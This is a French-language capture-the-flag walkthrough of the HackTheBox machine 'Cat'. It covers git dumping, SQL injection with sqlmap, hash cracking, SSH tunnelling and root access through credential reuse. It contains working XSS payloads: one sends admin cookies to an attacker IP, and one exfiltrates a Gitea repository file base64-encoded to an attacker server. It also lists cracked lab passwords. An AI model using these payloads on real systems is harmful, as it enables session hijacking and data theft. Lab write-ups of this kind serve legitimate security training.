> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md).

# Compte rendu de Cat HackTheBox

{% embed url="<https://app.hackthebox.com/machines/646>" %}

{% hint style="warning" %}
**Compétences :**

* Fuzzing de répertoires (fichier .git)
* Analyse du code source (dump du dépôt Git)
* Exploitation d'XSS stocké et détournement de session
* Injection SQL (SQLite) avec sqlmap
* Cassage de hachages de mots de passe
* Transfert de ports via SSH
* Exploitation de Gitea (v1.22.0) – XSS stocké
* Exfiltration de données sensibles via des charges utiles XSS
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/47c750e911d212ff39c6704e37b7287a5dcf6472" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/a2ac6b88012eabc2cdc334fa6eae6449774f81a5" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.53 -oG allPorts
```

<figure><img src="/files/3aa2293f2e91d6e5789375a5947ab4175fe0badc" alt=""><figcaption></figcaption></figure>

Analyse des versions des ports avec Nmap :

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```purebasic
nmap -sCV -p22,80 10.10.11.53 -oN targeted
```

<figure><img src="/files/0adf4c86685daa38faa4b280564b8ee52539cc25" alt=""><figcaption></figcaption></figure>

Pour résoudre les noms de domaine en adresses IP via DNS, nous insérons le nom de domaine associé à son adresse IP dans le `/etc/hosts` fichier :

<figure><img src="/files/f9014d6592268ade8c0810991b7dbba8e29e19ea" alt="" width="563"><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="/files/f8e2482bc144b90650bd967fc224be521a67808d" alt=""><figcaption></figcaption></figure>

En accédant au `http://cat.htb` site, vous trouverez un formulaire d'inscription.

<figure><img src="/files/38671c9aee74487840e19a996d0f99db2d792951" alt=""><figcaption></figcaption></figure>

Nous remarquons également une fonctionnalité de vote.

<figure><img src="/files/6b62392dbda57ee6940131ca1d3bd71b0705030f" alt=""><figcaption></figcaption></figure>

**Fuzzing de répertoires**

Nous exécutons `gobuster` pour découvrir des chemins cachés :

```bash
gobuster dir -u http://cat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php
```

<figure><img src="/files/6624717d050ecc44130103aeb473dd7ab828fef5" alt=""><figcaption></figcaption></figure>

Cela révèle plusieurs fichiers intéressants, notamment un `.git` répertoire.

<figure><img src="/files/19a7a3aa3a9ecfea13f772d81343d38001316daf" alt="" width="563"><figcaption></figcaption></figure>

**dump du dépôt Git**

Nous utilisons `git-dumper` pour récupérer le contenu du dépôt :

```bash
git-dumper http://cat.htb/.git git
```

<figure><img src="/files/7ab8340b78e17950cb02e9f99a5403185feb2a69" alt=""><figcaption></figcaption></figure>

En inspectant le code source, nous identifions une **vulnérabilité SQL** ainsi qu'une possibilité de **XSS stocké**.

<figure><img src="/files/0648db0a68f5e2935aeaa4672a733812a3108b44" alt=""><figcaption></figcaption></figure>

## Vulnérabilité XSS

L'application accepte *le nom d'utilisateur* et *email* des champs sans filtrage approprié. Cela permet l'injection de scripts malveillants.

<figure><img src="/files/4013db085df928e8db23204a3f52c3a7cfd552aa" alt=""><figcaption></figcaption></figure>

**Charge utile XSS**

Nous créons un utilisateur avec le nom suivant :

```javascript
<script>document.location='http://10.10.14.154:8081/?c='+document.cookie;</script>
```

**Récupération du cookie administrateur**

Nous écoutons sur le port 8081 :

```bash
python -m http.server 8081
```

<figure><img src="/files/3520602d1ab34e562ecf1bc041896a14ff969832" alt=""><figcaption></figcaption></figure>

Une fois le cookie capturé, nous obtenons la session administrateur :

<figure><img src="/files/8df8b865a4abb6e71d9ebb6abbd7e118ed969a12" alt=""><figcaption></figcaption></figure>

Nous remplaçons notre cookie de session par celui de l'admin et accédons à la **console d'administration**.

<figure><img src="/files/608fda192847f64cc22ff8fd0323c71cfb410db9" alt=""><figcaption></figcaption></figure>

## Injection SQL (SQLite)

<figure><img src="/files/9b776c64c8e104dec6afda4f7e4a6d12f9c6990f" alt=""><figcaption></figcaption></figure>

Avec un accès administrateur, lancez `sqlmap` sur un formulaire vulnérable

{% code overflow="wrap" %}

```bash
sqlmap -u "http://cat.htb/accept_cat.php" --cookie="PHPSESSID=i4cao7dtdfk1bs713p57cfq719" --data="catId=1&catName=123" -p catName --level 3 --risk 3 --batch --random-agent --tables --dump --dbms=sqlite --threads 10
```

{% endcode %}

<figure><img src="/files/0447472ec750a88e2f14949f157d98bca1ef1f73" alt=""><figcaption></figcaption></figure>

**Récupération de hachages**

Nous obtenons les mots de passe des utilisateurs' **hachages de mots de passe**. Voici quelques exemples :

```
d1bbba3670feb9435c9841e46e60ee2f
ac369922d560f17d6eeb8b2c7dec498c
42846631708f69c00ec0c0a8aa4a92ad
39e153e825c4a3d314a0dc7f7475ddbe
781593e060f8d065cd7281c5ec5b4b86
1b6dce240bbfbc0905a664ad199e18f8
c598f6b844a36fa7836fba0835f1f6
e41ccefa439fc454f7eadbf1f139ed8a
24a8ec003ac2e1b3c5953a6f95f8f565
88e4dceccd48820cf77b5cf6c08698ad
```

**Cassage de mot de passe**

En utilisant [CrackStation](https://crackstation.net/), nous identifions avec succès le mot de passe de l'utilisateur `rosa`:

{% embed url="<https://crackstation.net/>" %}

<figure><img src="/files/fca3be1f72aa0fb20d23be2697d4527ec3e86338" alt=""><figcaption></figcaption></figure>

* **le nom d'utilisateur** : rosa
* **mot de passe** : soyunaprincesarosa

Connexion SSH avec les identifiants récupérés :

```bash
ssh rosa@cat.htb
```

<figure><img src="/files/74bb171fe1f1609732dc635cdee3cd88338150ba" alt=""><figcaption></figcaption></figure>

### Pivotement vers l'utilisateur Axel

#### Énumération avec LinPEAS :

```bash
./linpeas.sh
```

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20250401-a1b119bc>" %}

Rosa est dans le `adm` groupe, accès à :

```bash
cat /var/log/apache2/access.log | grep "axel"
```

<figure><img src="/files/56e6b6a5bb4f31970bf5aeffc0591b98dbed233f" alt=""><figcaption></figcaption></figure>

Identifiants trouvés :

* Nom d'utilisateur : axel
* Mot de passe : aNdZwgC4tI9gnVXv/\_e3Q

<figure><img src="/files/d9267028867307ecd66d72d5ac1a3c9359761f12" alt=""><figcaption></figcaption></figure>

### Drapeau user.txt :)

<figure><img src="/files/3f205a5dfec44f1c3c018d69e6f4ce7437882fee" alt="" width="563"><figcaption></figcaption></figure>

## Élévation de privilèges

### Découverte des ports internes :

```bash
netstat -tuln
```

* **Node.js** (port 3000)
* **SMTP** (587, 25)

Services identifiés

<figure><img src="/files/5f9b4395becca98f555666c5dee88ff3173e8264" alt=""><figcaption></figcaption></figure>

#### Redirection de port

```bash
sudo ssh -L 3000:127.0.0.1:3000 -L 587:127.0.0.1:587 -L 25:127.0.0.1:25 axel@cat.htb
```

### Vulnérabilité XSS dans Gitea v1.22.0

Sur `http://localhost:3000` -> **Gitea** est accessible.

<figure><img src="/files/501efe37f3f721b46a6890049b2e42d9c5ea01de" alt=""><figcaption></figcaption></figure>

Connectez-vous avec les identifiants d'Axel.

<figure><img src="/files/ee4628ed12924decf5a43a1e8c43f0e25227f93f" alt=""><figcaption></figcaption></figure>

Vulnérabilité XSS connue.

<figure><img src="/files/3dffdcbca247cfb5e9ae4e5ce29010ff8776d350" alt=""><figcaption></figcaption></figure>

Nous créons un projet avec une description contenant :

```bash
<a href=javascript:alert()>XSS test</a>
```

<figure><img src="/files/2e380cb0e57facf26776d572bdfb6ee6a1a8d4d3" alt=""><figcaption></figcaption></figure>

* Résultat :

<figure><img src="/files/eac1836c899fce587011612f0c4d3c02ec2db92a" alt=""><figcaption></figcaption></figure>

### E-mail intercepté via LinPEAS

<figure><img src="/files/38f9225263f75dddafb35a657518c785e993ceda" alt=""><figcaption></figcaption></figure>

Contenu de l'e-mail :

* jobert\@localhost doit vérifier le dépôt Gitea

<figure><img src="/files/372a1269a2b85e220dc158bdd91a2da4596361d8" alt=""><figcaption></figcaption></figure>

Nous envoyons un lien XSS contenant un script d'exfiltration qui lit le contenu de la `index.php` page du dépôt Gitea, l'encode en Base64, puis l'envoie à notre serveur web

{% code overflow="wrap" %}

```bash
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.14.192:8080/?d=' + encodeURIComponent(btoa(unescape(encodeURIComponent(data))))));">PWNED</a>
```

{% endcode %}

<figure><img src="/files/e4a9201681907d4c41dd6fe61be2f59421cda2ee" alt=""><figcaption></figcaption></figure>

#### Via notre serveur web

```bash
python -m http.server 8080
```

<figure><img src="/files/bcce5f03555c3e6d2c0827f258a21e760133b7b5" alt=""><figcaption></figcaption></figure>

#### Contenu exfiltré (décodé en base64) :

```bash
echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK" | base64 -d 
```

* $valid/\_username = 'admin';
* $valid/\_password = 'IKw75eR0MR7CMIxhH0';

<figure><img src="/files/f69bc3f8c5ce444d51184512aeb61455dfe9cae7" alt=""><figcaption></figcaption></figure>

#### Élévation de privilèges root

Il y a une réutilisation des identifiants pour l'utilisateur root

```bash
su root
```

<figure><img src="/files/97eb120e6c6e1ae312cbfc9e974233ce65c8fd89" alt=""><figcaption></figcaption></figure>

### Drapeau root.txt :)

<figure><img src="/files/e15138e7fc7f3ad55dfb6cbbcfbc85b949b7340e" alt="" width="487"><figcaption></figcaption></figure>

<figure><img src="/files/4be6f71a091a8c08f70f2f59439750ac28767895" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
